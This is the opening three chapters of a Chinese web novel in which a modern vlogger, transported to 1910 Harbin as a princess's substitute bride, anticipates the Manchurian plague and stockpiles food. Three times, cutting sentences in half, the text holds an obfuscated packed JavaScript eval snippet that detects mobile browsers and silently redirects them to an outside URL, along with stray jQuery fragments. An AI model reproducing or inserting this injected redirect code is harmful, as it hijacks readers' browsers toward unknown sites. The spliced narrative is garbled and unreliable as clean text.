《都说了我没想登基!》
1. 第 1 章
“格格,呜呜呜……格格……你醒醒呀,你若是有个三长两短,我可怎么办呀……”
金显珏在内心骂骂咧咧,谁家在大半夜看狗血古偶,还把声音放那么响,让不让人活啦!!!
为了剪视频,她已经三天三夜没睡了,打算趴在桌上稍微睡那么五分钟,结果刚趴下,就被耳边这个抽抽噎噎的声音吵得十分暴躁。
她闭着眼睛,在脑子里过了一遍处理流程:先找这家人说理去,要是说不通……应该是打110还是打12345,算了,就110吧!政务联动,他们会转交的。
对了,再拿上运动摄像机别在身上,要是这家人撒泼耍无赖,动手打人什么的,还能做个证据。要是警察不管,那还能拿去网络升堂,再不济还能为1818黄金眼提供素材。
主意打定,金显珏猛然睁开眼睛,差点被眼前场景吓得心脏停跳:一个梳着辫子的小姑娘站在她的床边,抽抽噎噎,不断用手帕擦眼睛。
首先,她常年一个人独居,在屋里的时候门窗都是关严实的。
第二,这姑娘,穿着一件蓝色镶藏青边的斜襟大袄,裤子也特别肥大,耳朵上戴着一对造型简单的方形银耳钉,整体看起来像历史老照片里的人。
最后,金显珏发现自己躺着的床也不是自己的床了,她的床是席梦思,有一半放着毛绒绒布偶、花里胡哨的靠垫,每一个都是她精心挑选的。现在,床是硬板床,布偶不见了,床帐被两只金属钩子悬吊在床架的两侧,床架的最外侧有亮光,是挂在床架上的蜡烛发出的火光。
床架上花纹繁复,金显珏脑袋旁边就是一大块“喜鹊登梅”的镂空图案。
这种床全身上下透着一股中式传统家具的味儿,是金显珏自己绝对不会买的,擦起来多麻烦啊。
金显珏大脑宕机了:这是哪里,我是谁,我在干什么?
那姑娘正哭得认真,忽然见金显珏看着她,她先是一怔,继而狂喜,转身跑出去:“格格醒啦!格格醒啦!”
不过一分钟,屋里就来了一堆人,除了那个坐在床边按着她手腕的人是男性之外,其他都是女人,有老有少,神情有紧张,有不屑,还有凑热闹的吃瓜群众。
“格格聪明过人,难免思虑太过,心血损耗,并无大碍,”男人说着,拿起毛笔,在纸上写下几行字:“这是安神汤,每日临睡前喝一剂,再清清静静地休养一段时日便好了。”
几个仆妇打扮的人上前,接了方子,递给坐在正中的中年妇人,妇人看完,便命仆妇送男人出去。
其他人也表现地十分热情,这个问“感觉可好些了?”,那个问“身上有什么不舒服的地方?”,还有人问“想吃什么?”
叽叽喳喳,闹腾得很。
金显珏至今依旧大脑一片空白,她没有接到任何自己所处环境的信息,只能以不变应万变,继续迷茫地看着所有人,闭口不发一言。
见她还是一副傻愣愣的样子,中年妇人开口:“你们都出去吧,让格格清静清静。”
不多时,屋子里的人便走了个干干净净,只留下妇人和站在她身后梳着发髻的女人,以及那个哭声大到扰民的辫子姑娘。
妇人叹了一口气:“三格格,你这又是何苦,靖云人在国外,实在回不来,并非有意怠慢……”
她拉拉杂杂说了一大堆劝慰的话,冥冥之中,仿佛有一只手,将记忆的开关拧开,这具与金显珏同名同姓身体的记忆如潮水一般冲进来。
好家伙,原主是上吊死的。
这是一个偏纪实类的网络小说世界,此地是哈尔滨,金显珏是一个特别重要的配角,她的价值就是——死掉。
金显珏是礼亲王庶出的第三个女儿,礼亲王是清朝八大铁帽子王之首,最有名的礼亲王叫代善,就是电视剧《孝庄秘史》里,孝庄举着小纸条对多尔衮说“你对代善哥哥发过誓,如果你想篡位,必短折而死”里的那个代善。
清初的时候,礼亲王一脉颇有面子。
然而到了咸丰时期,礼亲王家就只剩下了空架子,为了家里有钱花,礼亲王便努力想办法,比如把庶女远嫁到了关外。
她的夫家姓苏,祖上是乾隆年间被迁出京城的旗人。
旗人出生就有皇粮俸禄,所谓“我这辈子的活,在我爷爷随皇上入关的时候就干完了”。
康熙雍正时期,混吃等死不事生产的旗人就有几十万,朝廷实在养不动了,铁血无情的政治机器乾隆皇帝,大手一挥:统统回“龙兴之地”搞大发展去。
他们家乃鳌拜后人,满族老姓是瓜尔佳。
康熙晚年的时候就把鳌拜给平反了,他们家一直都过着好日子,哪里还能再受得了关外风霜,种地是不可能种地的,一辈子都不可能种地的!
刚好,哈尔滨本地有一家豪强,是顺治八年响应朝廷的“招垦令”入关的苏姓汉人。
于是,懒惰的瓜尔佳少爷索性入赘苏家,凭着他可以随便圈地的旗人特权,与苏家强强联合。
如今苏家在这片地方,也算得上是说话响当当,就连道台施肇基,都得对苏家客客气气。
苏家很有钱,只是缺了点权。
有实权的亲王不可能看上他们家,他们便退而求其次,选了名头很响的空架子——礼亲王家。
不管怎么样,先攀上一门亲,获得权贵的入场券,再用钱用力硬砸,一个台阶一个台阶的走上去,总归能走到想要的位置。
与许多上流社会的婚姻一样,这是钱与权的结合,什么爱情不爱情的,就是两家公司合伙做大做强而已。
只有一个小小的问题……
这具身体并不是真的金显珏。
从北京到哈尔滨一路坐马车过来,吹吹风、淋淋雨……感冒变肺炎、肺炎变肺水肿,没有特效药还一路车马劳顿,没过几天,三格格便一命呜呼。
已经订了亲但还没过门的情况下,如果是男人死了,女人就叫“望门寡”,抱着牌位或是公鸡也能嫁进门,完成家族联姻,或许还能给夫家挣一个贞洁牌坊。
但如果死的是个女人,那就麻烦了,婚姻作废。
男人可没有守贞操这种事,正室活着,男人还要娶三妻四妾,开枝散叶,何况还没进门就死了。
礼亲王家就等着苏家给的彩礼过日子呢,绝对不会坐视婚姻作废。
正常情况下,随便找一个小丫环凑数就行,但是,之前议亲的时候,为了把女儿卖个好价钱,礼亲王让媒人放心大胆吹,说三格格从小倍受宠爱,跟着父亲骑射,身体强壮,性格豪爽。
意思就是:好生养,生十个八个儿子不成问题;好相处,绝不给男人搞出后宅起火的是非来。
现在就麻烦了,就算是没裹小脚的丫环,也不会骑射啊,万一苏家要试,岂不是一下子就露馅。
刚巧,他们在路上遇到一个猎户的女儿卖身葬父,便将她买了来,利用在路上的几个月时间,抓紧时间做培训,让她替顶三格格嫁进苏家。
她嫁的是苏少爷苏靖云,头上还有苏老爷和太太。
如今还没正式办婚礼,老爷太太对她还挺客气,没有要求金显珏立马行伺候公婆的义务,从早到晚站规矩什么的。
等就等吧,结果今天,金显珏听到家里下人嚼舌根,说少爷是不会回来了,少爷打小上的是教会学校,受到了新派思想的影响,讨厌包办婚姻,更别提这根本就是买卖人口,他写信回来说打死也不结这婚,谁爱结谁结!
这猎户的女儿也不知道哪来的满脑子封建思想,觉得男人不愿意回家跟她结婚,就是天大的耻辱,于是,她干脆利落地上吊自杀了。
属于金显珏的剧情,就到这里为止。
她会成为本地的烈女典范,然后又变成了封建礼教压迫的受害案例,激励许多不甘心困于家庭的女子从三从四德里挣脱出来,参与社会化劳动中去。
金显珏:“……”
从某种方面来说,原主确实是有贡献,就是这个贡献的形式也太草率了。
眼前正在安慰她好好过日子、不要轻生的女人,就是苏靖云少爷的妈——闻夫人,也就是金显珏的准婆婆。
她努力给金显珏描绘一个强强联手之后的美好未来,还许诺将来她正式做了少奶奶,不用像其他人家的儿媳妇那样,在婆婆面前立规矩等等。
金显珏心情复杂地看着她。
苏家的梦想是通过与礼亲王攀亲,一层层走到王朝的权力中枢。
然而……现在已经是宣统二年十月啦。
也就是公元1910年的11月。
此时,在南洋,英属马来亚的槟榔屿,一群人正在开会讨论搞死大清,很快,便会有名言流传于世:“大清索我的命,我诛大清的心!”
大清就是秋后的蚂蚱,大清都没了,哪还有格格。
金显珏不知道如果苏家人发现她并不能为婆家带来好处,会怎么对她,想来不会有什么好脸色。
如果人只是为了达到目的才装出来卑微,那么发现目的无法达成之后,就会疯狂反弹,把付出的卑微挣回来。
金显珏以前在网上看到讨论说不小心穿成民国的女人应该怎么办,除了搞宅斗、幻想自己可以成为灭妻的宠妾之外,靠谱的选项就是三个字——去延安。
可是,现在去延安,那里啥也没有啊!
而且……网络小说不允许去延安,如果她去了,她一定会被和谐之神抹杀。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427453|184848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>唉,来都来了,就凑合着先活着吧。
金显珏心里盘算了好几个想法,悲伤地发现,目前并没有什么快捷省事过得开心的好办法,她脸上表情越发的生无可恋。
闻夫人发现自己劝来劝去,眼前的准儿媳居然更丧了。
她暗自叹了一口气,也不好再说什么,更不可能摆出婆婆的谱来教训她。
毕竟显珏格格是倍受礼亲王喜爱,亲自带出去教习骑射的爱女,嫁进来这么多天,却一直这么晾着,甚至连丈夫什么时候回来完婚的准信都没有,搁谁谁不生气。
“你放心,我一定会让靖云早日回来的!”闻夫人已经想好了,她决定明天就去电报局发一封“母病危”的电报,无论如何也要把人先骗回家完婚。
金显珏根本不在乎这个素未谋面的男人什么时候回来。
呵,留学?别是去了克莱登大学吧,这种二世祖与克莱登大学最相配了。
她只想知道自己除了可以守活寡之外,还能干点什么有出息的事。
没有目标的人生,与咸鱼有什么区别!
这几天,金显珏清清静静地在自己院子里休养。
脖子上的勒痕淡了,她也把苏家上上下下的关系摸了个清楚。
原主这么一上吊不要紧,让几个老资格的仆妇觉得这位准少奶奶是个软弱可欺的小废物,等着机会找她麻烦,好拿捏她。
烦人,非要搞宅斗是吧!
金显珏继续生无可恋脸,她是做野外生存直播的UP主,会各种稀奇古怪的生存技能,也会跟MCN公司打交道,玩脑子……可是会是一回事,喜欢是另一回事。
她真的不喜欢搞人际关系,不然她毕业就进公司上班了。
哎,实在不行,也只好宅斗啦……与人斗,其乐无穷……
正当金显珏给自己做心理建设的时候,一个十三岁的女孩子开开心心地进来,人未到,声先至:“嫂子~妈问你要不要一起出去逛逛?”
来人是苏靖云的妹妹,苏佩兰。
苏家常年在关外,苏老爷又是跟洋人做生意的,他还知道德龄、容龄姐妹的事,他心向往之,因此苏家对女眷的宽容度比较大,不仅女儿不用裹脚,甚至从未有不得大门不出,二门不迈的规矩。
原主刚来的时候,给苏佩兰说过不少打猎的故事,她可喜欢听了,还总想找机会跟嫂子一起去打猎。
今天,闻夫人想知道金显珏的态度,便让她过来探探口风。
“去哪?”金显珏问道。
“秋林洋行,听说他们新到了一批皮衣,可漂亮了,比咱们这穿在身上像熊似的皮袄不一样。”苏佩兰很喜欢看街上沙俄女孩子们的打扮,觉得那才是女孩子应该穿的衣服。
“去!”反正来都来了,在屋里坐着发愁也没意思。
何况,金显珏对秋林红肠有着相当的好感。
金显珏换了身出门的衣服,跟着准小姑子和准婆婆坐上马车,向中央大街驰去。
此时的中央大街还是一片泥巴地,标志性的面包石要到1924年才会铺。
商店也没有金显珏去哈尔滨的那么多、那么漂亮,现在的中央大街,好多地方要么是空地,要么是低矮破房子,马迭尔也只有旅馆,马迭尔冰棍要到1914年才有。
在一众低矮房子,以及在建的工地之中,四层高的秋林百货相当惹眼。
1910年,全中国都没有几盏电灯,而秋林洋行的主人已经用电灯把四层楼照得亮堂堂,像水晶宫一样。
一进门,金显珏就闻到了熟悉的红肠香气~~~她的眼中终于有了光。
先去看衣服,奢华沙俄皇室风格的皮衣在四楼,顾客以女性为主。
中国女人不多,大多是外国女人,她们是沙俄贵族或是富商的家眷。
她们的表情和语气,似乎对皮衣有所不满,对营业员叽里哇啦说了一通。
她们的翻译把她们的话翻译给营业员听,原来她们是在抱怨貂皮大衣比去年贵了许多。
营业员笑着解释:“今年的貂皮特别少,别看其他地方便宜,可是便宜没好货呀,好多奸商是拿瞎目碰子的皮充数,我们家可都是正宗的貂皮,紫貂!”
金显珏压低声音问苏佩兰:“瞎目碰子是什么?”
苏佩兰随口解释道:“就是旱獭,圆头圆脑的,挺可爱。”
金显珏心中陡然一跳,旱獭?!
她曾经专门做过一期科普视频,让游客不要去了大西北就兴奋地逗旱獭玩,因为旱獭会传染鼠疫病毒。
……鼠疫……
东北鼠疫大流行……那不就是从现在到1911年?!
金显珏倒吸一口凉气。
2. 第 2 章
为了做那期《保护野生动物就是保护自己》,金显珏做了很多准备,阅读了大量的文献,又采访了很多专业医生和疾控的工作人员,从感染到治疗,她都了解到很多。
然而,鼠疫特辑播放的时候正是长假之前,大家更喜欢看各地美景美食介绍、出行攻略、避雷拔草。
谁要看不准这个、不准那个的扫兴内容。
那期的播放量很差,金显珏十分郁闷,从此放弃了硬核输出。
谁能想到,那一次学到的东西,竟然这么快就要用上了。
只是,治疗鼠疫的特效药链霉素连个影都还没有呢……目前的治疗方法是大量注射抗病毒血清,虽然她不知道这种血清是怎么一个生产制备的过程,不过,就连“非典”和“新冠”期间都会出现药品不够的情况,何况是现在。
患病的人一多,制药必然跟不上。
鼠疫又是发病极快,一周就死的急性传染病。
金显珏第一反应就是——赶紧走吧,去关内随便什么地方待几个月。
走?
哪有这么容易。
就算是二十一世纪,人类可以随便去大城市上学、找工作的年代,也涉及到重新找房子、找收入来源,以及失去原有人脉的损失。
何况她能说什么?
马上就有一场大灾?
从哪看出来的?谁说的?菩萨托梦?
为了一个梦,要全家搬家?
在家里说,会被当成失心疯;在外面说,就叫妖言惑众,制造恐慌。
就算以她格格的身份不用挨板子,蹲大牢,也少不得会被关在房子里,天天喝安神药。
从四楼走到二楼的短短十几分钟内,金显珏已经想了很多种可能,无论哪一种,最终都会面临同一个品种的阻碍:人微言轻、势单力薄,没钱没权。
“嫂子,看,这些钟多漂亮,你想不想要?我们俩一人一个?”苏佩兰拉着金显珏的胳膊,兴冲冲地指着两大排西洋钟表。
闻夫人皱着眉头:“你屋里不是有钟了吗?还能定时响。”
“那个钟不好,睡得迷迷糊糊,手一按,它就不响了,结果,就害我迟到。”苏佩兰是一个要去教会女塾读书的学生。
与现代人一样,她也春困、秋乏、夏打盹、睡不醒的冬三月,早上起床是每日最痛苦的酷刑。
闻夫人冷哼一声:“买十个闹钟,你也一样会按掉,不如叫十个丫环敲锣叫你起来。哪有女孩子像你这么懒的,我像你这么大的时候,早上四点就要梳妆好,等婆婆起床,就要过去伺候,迟一步就要被人耻笑,哪像你……”
“哎呀,我又不是自己要买,嫂子房里没钟,我是想给嫂子买!这不是买两个便宜一点吗?我是为了省钱!”
闻夫人皱眉:“你嫂子是嫌钟的声音吵闹,特意移出去的!又不是没有。”
眼看着新钟是不可能买了,苏佩兰做了个鬼脸,拉着金显珏继续往楼下走,一边嘀嘀咕咕:“我们同学家的钟都特别漂亮,有马、有花,还有长翅膀的小天使,就我的钟是四四方方,什么都没有,像个傻子,妈就是小气!”
一楼卖的是食品,最便宜的商品有一分钱一块的洋糖,用漂亮的纸包着,普通人家也会进来买一点尝个新鲜。
柜台前人头攒动,一片繁荣景象。
“妈,这个桔子糖是新的,以前没有,买点吧!”
“妈,咸奶油球!”
“妈,核桃蛋糕!”
……
闻夫人被吵得头疼:“我瞅你长得像核桃蛋糕!这里有你不要的吗!你就不能学学你嫂子!女孩子家这么馋,以后谁还敢要你!”
“没人要正好,我一辈子在家,陪着你,还有嫂子。”苏佩兰做了个鬼脸,转头看见金显珏似乎有些魂不守舍,还以为她是犯了选择困难症。
便热情地凑到金显珏旁边,做起购物指导:“我第一次看到这么多好吃的,也不知道挑什么,这边的糖价格都一样,可以每样都要一点!你想吃什么,叫妈买!妈说了,你是远嫁过来的,我们全家都得对你好!”
金显珏笑笑:“我不爱吃零食,你选你自己喜欢吃的就好。”
眼看着就要大祸临头,哪里还有心思吃零食。
回去的路上,金显珏尝试着提出,有没有考虑到关外气候更好的地方生活,哈尔滨虽然繁华,冬天也是真的冷,生活再久,极寒对身体的影响也还是有的。
闻夫人的回答跟金显珏猜想的一样,全家都在这,收入、人脉都在这,能去哪里。
苏家在天津卫和上海各有一套房子,是苏老爷出去谈生意的时候,用来暂住的。
在闻夫人的嘴里,那些房子小的很,连腿都伸不直,最多住三四十个人。
金显珏知道,单是伺候闻夫人一个人的就有十几个丫环,全家上上下下的仆人仆妇加在一起,有将近两百人。
看来劝搬家是劝不走了。
金显珏的脑中循环着一个调子:那一天的忧郁,忧郁起来~
在购买零食方面,闻夫人还是很大方的,苏佩兰抬手一指,闻夫人说“可以”,随身的丫环就掏钱,东西由司机拎着。
开车回去的路上,金显珏看到了几家粮店,粮店里备货充足,价格平稳,大家都按需购买。
东北的土地肥沃,农民拥有的土地面积又大,这几年又没有不得了的大灾,供应充足,价格平稳。
苏家自己就有大片良田,粮仓里装得满满,眼看着就要过冬了,家里的地窖也已经清理完毕,打算过几天就开始储存过冬的菜。
作为经历过封控的人,金显珏对囤药品和囤食物这一点有着谜之执着,药品是囤不了了,先囤食物吧:“这几天晚上一阵一阵的起风,我看过不了几天就要下雪,不如,今年早一点存吧。”
“这几天都是晴天呀,”闻夫人十分困惑,“现在也早了些,庄子上的菜还没摘呢,再长长。”
一般人家都在立冬以后才开始囤菜,现在离立冬还有七八天的时间。
虽然都是要囤三四个月,也不差这七八天,但是感情上还是觉得尽量放最新鲜的进去更好些。
刚才苏佩兰想买漂亮新钟的梦想被无情否定,她立志要干一点叛逆的事,比如站在嫂子这边与闻夫人对抗。
于是,她站出来替金显珏说话:“我看嫂子说得没错,她可是经常跟着亲王贝勒们出去打猎的,她说要下雪,指定要下雪!要是像几年前那回,连下几日,庄子上的菜送不过来,你又要抱怨城里的菜贵了!”
当着准儿媳的面,被指抱怨菜贵,听起来就很掉价,闻夫人急急开口:“我什么时候说菜贵了!那是你把菜往地上扔,糟蹋东西!”
等两人闹完,闻夫人还是同意让人提前去储菜了。
不是因为大雪会让菜价贵,而是尊贵的礼亲王三格格终于愿意操心家里的吃穿用度,而不是琢磨着完婚、圆房、上吊这些闻夫人倾尽所能也处理不了的事。
别说本来就要囤菜,就算现在是炎炎夏日,金显珏说一句“我想囤菜”,闻夫人也会立马派人去采买,哪怕买回来,在地窖里摆烂发霉都行,反正就是哄格格开心么,一地窖的菜,可比买珠宝首饰便宜多了。
过了两天,果然连着下了一天一夜的鹅毛大雪,第五天,庄子上派了个人过来,说菜被冻坏了好些,实在没法送来足数。
以往过来报灾荒的人,少不得要挨管家一顿骂,说他们偷懒、装死等等。
这回……还是挨骂了,不过骂的内容更为细致了些:“连少夫人都知道这几日要下大雪,你们这些常年在庄子上的人怎么反而不知道?不知道早做准备?!我看你们是不想干了!”
金显珏听见动静,出来看热闹,管家向她行礼:“少奶奶,您怎么出来了,这边脏得很。”
“有什么脏的。”金显珏一边说,一边打量着来人。
只见这个进门来的人年纪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427454|184848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不大,脸被风雪吹得通红发紫,手缩在袖子里,偶尔露出来一下,上面全是裂口。
但与他同来,正在套车的人,却是用布把脸裹得严严实实,手上也有厚的皮手套。
她皱眉道:“庄子上现在管成什么样了?这么冷的天,怎么连手套都不是人人都有?要是把人冻坏了,岂不是罪过?”
套好车的人过来,向金显珏行了一礼:“少奶奶万福,少奶奶有所不知,他原是有的,走到半路,车轮拔了缝,他下去修,我叫他把手套围脖都放好,他不听,随手丢地上,可巧刮了一阵大风,手套围脖,一起就飞进河里去了!这么大人了,做事还毛毛燥燥!该,就该长个教训。”
“教训是该长,冻残了心疼的还不是你。”金显珏转头吩咐道:“小翠,你去找齐婶拿一套新的过来。”
这两人是一对父子,姓陈,是苏家一个庄子上的庄头,手下管着四十多个佃农。
地里的菜被压坏是有的,但是大多数菜其实已经收了,留在地里被雪压坏的菜远没有他们报上来的那么多。
如今见新来的少奶奶如此慈悲为怀,他们更高兴,当家人心慈手软,他们捞油水的机会就更多。
金显珏不动声色地跟他们东拉西扯的胡侃,在拉拉杂杂的一大篇话里打听到他们的庄子在哪儿,雪从什么时候开始下的,下了几天,路上走了几天,再问地里有多少菜,有多少人收,菜收上来要几天,打包要几天。
陈氏父子只当金显珏是在同他们拉家常,并没太在意,便全据实说了。
没想到,最后金显珏命人拿来纸笔,加减乘除,一通四则混合运算下来,得出一个结论:“要么,你们报上来的受灾数量不对,有心贪墨。要么,你们消极怠工,本来就没打算按时把菜送来……挑一样认吧。”
陈氏父子看着金显珏刚刚写完的账篇,不由得傻了眼。
如果是管家或是老爷问,他们还会有点防备,会对数字进行微调。
刚才这个新少奶奶像菩萨似的,还给了新手套新围脖,问的时候又是一层一层往前递进的,缓缓问,他们自己都想不起来自己到底亲口说了多少对自己不利的证据……
什么菩萨!
根本就是罗刹!
陈氏父子被堵得哑口无言,只得托词“或许是收在了别的窖里没看见,等我们回去再点点点。”
这件事很快被丫环、小厮传遍全家,还没到晚饭时间,家里几百号人就都知道新少奶奶厉害,在她面前想动手脚,做鬼账很难。
苏老爷的几个没有生养的侍妾更是觉得:不好!必须得打起精神搞宅斗了!以前自己的日子就过得紧巴巴,全靠动点小手脚贴补,现在要是小手脚都不能动了,那这日子还怎么过!
还没等她们想出来具体应该从哪些事情开始操作,一个惊天噩耗传来:去满洲里谈皮货生意的苏老爷病故了。
从得病到死亡,一共六天,据说死时全身发黑。
消息传来,苏府上下,哭声震天,闻夫人更是伤心过度,当场晕倒。
人死了,总得落叶归根、入土为安,管家张罗着派人把尸体接回来。
金显珏开口阻止管家:“这病得这么急,怕是疫病,应该在满洲里火化了,将骨灰带回来。”
管家一怔:“那可是老爷啊!”
金显珏据理力争:“老爷也希望子孙后代兴旺发达,而不是全家给他陪葬吧?”
管家不敢跟新少奶奶争,便偷偷派人去找闻夫人,问她应该怎么办。
闻夫人本来就很伤心,现在还听说准儿媳竟然想让苏老爷尸骨无存,别的事她都能让,生死大事绝不能让!
闻夫人又气又急:“胡说,罪人才要挫骨扬灰!哪能这般对老爷,你别管她说什么,按原来说好的办就行了!”
管家得到准信后,立刻着手去办。
出发时,他们还不知道,此时的满洲里,已经彻底被鼠疫带来的死亡阴影所覆盖。
3. 第 3 章
东北人算相当会囤食物了,还有一个专有名词“猫冬”。
囤齐了食物和燃料,在暖和的屋子里待到春回大地,多开心。
苏家在关外已经待了百余年,冬天应该怎么过,早已有了一套自己的规矩,下人们也都知道该怎么准备。
往年都是几个管家奶奶做这件事,办完以后,向闻夫人汇报一声:“都办妥了。”
今年新来了一个少奶奶,前几天还为着不能跟活生生的少爷拜堂,茶不思,饭不想,最后悲悲切切上了吊,被救回来以后,这几天忽然就像换了个人似的,也不提少爷了,也不提要名份,要完婚,张口闭口都是在问“粮食囤多少了?”“菜囤多少了?”“米面油呢?”
就连上厕所要用的细纸,她都要关心。
管家奶奶们说细纸在城里的铺子就有的卖,哈尔滨的冬天虽然冷,但也没到一步都出不了门的地步,随用随买就是了。
没想到,新少奶奶把头摇得像拨浪鼓似的:“不行,必须、马上、现在、立刻准备好至少全家上下五个月够用的!否则你们就用泥块、瓦片擦去吧!”
管家奶奶们觉得她疯了,但也没办法。
难道就为了少奶奶说要多囤点纸,就去回夫人,让夫人镇住少奶奶?
那不是找不痛快么?
少奶奶性子那么烈,万一惹恼了她,她又上吊了呢?谁敢触她霉头。
算了,反正苏家的空房子那么多,爱囤就囤吧……管家奶奶们满心不痛快地执行了金显珏的指示。
金显珏对“猫冬”准备工作的最高指示,甚至精确到了冻梨和冻柿子要有多少。
根据她的心得,自愿蹲家不出去,跟得知外面有事发生而不能出去,人类的心态是完全不一样的。
憋在屋里不出去,就得弄点甜的东西吃吃喝喝,增加多巴胺,或者找点成瘾性的东西,目的也是为了快乐一下。
上海封控期间,可乐和香烟都是可以用来跟邻居换资源的好东西。
虽然冻梨和冻柿子跟可乐没法比,不过比想吃的时候没有的强。
此时香烟还不怎么流行,金显珏知道“东北三大怪”之一就是大姑娘叼烟袋,不过闻夫人身体不好,闻不得烟味儿,家里上上下下都不抽烟。
忽然,她又想到一个严肃的问题:没人抽香烟和烟草,不会有人抽大烟吧!!!
清末的中国人被称为“东亚病夫”,就是因为有很多人抽大烟抽得歪歪倒倒。
大烟的成瘾性虽然比不上后世的海/洛/因和冰/毒那么强悍,但是……人要是犯了瘾,也一样是涕泪横流,满地打滚,痛苦万状,为了一口烟土,还不知道能干出什么无法无天的事来。
想到这,她将家里的家丁仆妇全部召集起来,仔细询问和查看了一遍。
从身材上看,应该没人抽大烟。
问了,也没人说抽。
……
她管得太多太宽,连有旧例的事,她都要推翻,平白多出许多工作量,全府的人都不得不陪着转。
苏家的马车夫蹲在后面跟年轻小厮们闲聊天:
“男大当婚,女大当嫁,就是到了年纪啊,人就得阴阳调合,孤阴不长,独阳不生,男人没娶媳妇儿,就会打人砸东西乱发脾气,女人要是没嫁汉子,就会变丑、肚子痛,还有就是像咱们这新少奶奶一样,没事找事,就是想汉子了!”
男人们以己度人,觉得成年的女人身边不睡个男人,她就会燥得一夜一夜睡不好,看到柱状物就会迫不及待地开始浪起来。
未婚的小丫头们也认定少奶奶“寂寞无聊空虚冷,所以想找点事做来填补孤枕难眠的夜晚。”
四五十岁往上的管家奶奶们就不一样了,她们扎堆闲磕牙的时候,说的是另一种可能:
“我看她就是想抢班夺权了!少爷不回家跟她圆房,她在苏家待得名不正言不顺,她可是礼亲王家的格格,平时在家里不知道被娇宠成什么样,如今一朝什么都不是,她能不急吗?”
金显珏的贴身丫环玉霄的身影在外面一闪,管家奶奶们立刻闭口中不说了,满脸堆笑迎上来:“玉霄姑娘怎么亲自跑我们这里来,有什么事吗?”
“少奶奶问有没有备下驱瘟避疫的药,还有,她想找几个最心灵手巧的裁缝。”
“裁缝?家里不是有么?”管家奶奶们很是困惑。
“少奶奶说不够,得再多找几个。”
管家奶奶们更加不解,过年要穿的衣服早就备下了,就算还没做好,也已经在做,怎么突然又要裁缝?
“少奶奶要做什么?”
“她没告诉我,单让我找几个会自己琢磨新款式的聪明人。”
这事连玉霄都很困惑,金显珏真的没有告诉她。
玉霄是真正的礼亲王三格格陪嫁丫环,她亲眼见证了真格格是怎么兴奋地在野地里追兔子,结果失脚掉进野水塘里……尽管捞上来得很及时,她也快速地帮格格洗热水澡,换衣服,可还是一命呜呼。
她不知道水里有细菌、有病毒,只当格格是在野水塘里撞邪了。
寻找替身、培训替身这些事,她也都有份参与。
毕竟她是真格格的贴身侍女,算下来,是真格格死亡的第一责任人,礼亲王根本不会在意真格格为什么会淋到雨,只会怪罪贴身侍女没有履行职责,杀了她都有可能。
玉霄和金显珏是一根绳上的蚂蚱,是真正意义上“牢不可破的联盟”。
进府的时候,玉霄跟猎户的女儿说了,让她尽量不要引人注目,天下守望门寡、守活寡的女人那么多,当苏家的少奶奶好歹衣食无忧,比起卖身葬父的年景好多了。
当时,猎户的女儿答应了。
然而,人类总觉得自己为了温饱衣食,什么事都可以做,什么气都可以忍,到最后真能这么豁出去的人不多。
苏家的下人说话太难听,都在说少爷宁可跟洋妞鬼混,也不要她,有人说她吃得多,有人说她走路大步流星像男人,哪里有一点格格的样子。
猎户的女儿并不是泼皮破落户,动手能力尚可,牙尖嘴利方面完全没有天赋,她听着别人嘲笑她,刚开始她还回嘴,却笨嘴拙舌,说不到点子上,说急了就要动手,反而惹来下人们在背后更多的嘲笑。
越想她越生气,一时想不开,上吊了。
刚醒来的那几天,玉霄一直跟在她身边,生怕她吊一回没死成,迟早还要再吊一回,时时安慰:“姑娘你糊涂啊,当年老佛爷说过,谁让我一时不痛快,我要谁一世不痛快!别人让你不痛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427455|184848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
快,你却上吊去了,岂不是遂了她们的心,趁了她们的愿?便是去了阎王面前,也是个枉死鬼。”
金显珏接收到猎户女儿临死前的记忆,内心闪烁两个大字“就这?!”
她做UP主的时候,受到的攻击可比这严重多了,容貌羞辱、□□羞辱、说她是摆拍、说她用替身、说她吃饱了撑的,还有号称要替她父母教训她这个四处乱跑的不孝女的……她从不内耗,该回骂就回骂,该举报就举报,该报警就报警。
金显珏对玉霄说:“你放心,我没死成,是老天也认为我命不该绝!”
之后,她就开始插手家里的各种事务,教训了陈庄头父子俩,又管过冬的东西。
玉霄很高兴:“姑娘,你终于知道自己要做什么了!我一定会助你一臂之力!将苏家中馈彻底掌握在你的手中!你让她们往东,她们不敢往西!你让她们跪着死,她们不敢站着死!”
金显珏:“……”
这是啥丫环啊,硬把宅斗剧本往她手里塞。
算了……这不重要。
鼠疫马上就来了,苏家提前囤过冬粮食的事情,外面应该已经有很多人知道了。
到时候,如果粮食紧张,苏家将会成为众矢之的。
所谓“邻居囤粮我囤枪,邻居就是我粮仓。”
为了自保,苏家也得多准备一些枪才是。
